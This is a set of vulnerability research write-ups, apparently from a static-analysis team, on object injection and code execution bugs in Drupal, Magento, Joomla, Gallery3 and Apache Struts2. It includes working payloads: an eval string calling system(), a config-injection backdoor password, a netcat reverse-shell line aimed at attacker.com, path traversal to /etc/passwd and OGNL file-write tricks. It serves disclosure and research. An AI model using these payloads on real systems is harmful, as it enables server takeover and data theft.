There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took.

1. PHP Object Injection

Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback()unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended.

That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope:

The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter.

2. Header Injection

We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize.

Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here.

A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities.

2.1 Drupal Send Headers

Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight.

The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way.

2.2 HTTP Response Splitting

A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed).

First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url.

For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583.

Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following:

?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201

Next, isn’t header()fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting?

After fuzzing it turns out that all PHP versions allow%0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP.

So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL:

However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input.

Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though ;).

2.3 External URL

Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test).

The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server.

The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit.

3. Exploitation

Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property.

On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header.

Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case:

The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks.

Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with).

The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures.

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

Sat, 1 Nov 2014 21:08:46 +0000

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

Request:
GET /favicon.ico HTTP/1.0

Response
If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:

{${system(id)}}RIPS

We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

TRUNCATE TABLE {${system(id)}}RIPS

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:

$this->getData("{${system(id)}}")

In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:
/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():
"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

For example, the unknown class JFooBar will result in the following three autoload lookups:
libraries/joomla/foo/bar.php
libraries/legacy/foo/bar.php
libraries/cms/foo/bar.php

Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

A single quote ‘ in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.

Introduction

Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

request

response

?id=abc

abc

?id=abc’

?id=abc’||’def

?id=abc’+’def

abcdef

Ok that looked promising. SQLi here we go:

request

response

?id=abc’+/**/’def

?id=abc’+(select 1)+’def

?id=abc’+(select 1 from dual)+’def

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

request

response

?id=abc’%00

?id=abc';%00

?id=abc’– -

No luck, so I started from the beginning:

request

response

?id=abc’+’def

abcdef

?id=abc’+1+’def

abc1def

?id=abc’+(1)+’def

abc1def

?id=abc’+a+’def

abcnulldef

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

request

response

?id=abc’+name+’def&name=foo

abcfoodef

This was a Java app so I tried some more stuff and this one worked to my suprise:

request

response

?id=abc’+(new java.lang.String(“foo”))+’def

abcfoodef

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like product.id=1 the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec(‘calc’)]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name(‘foo’)]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String(‘foo’)]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new java.io.FileWriter(‘test.txt’)]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

Property oriented programming with Java

Sorry for the buzzword ;) But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new java.io.FileWriter(‘test.txt’) but we cannot call java.io.FileWriter(‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

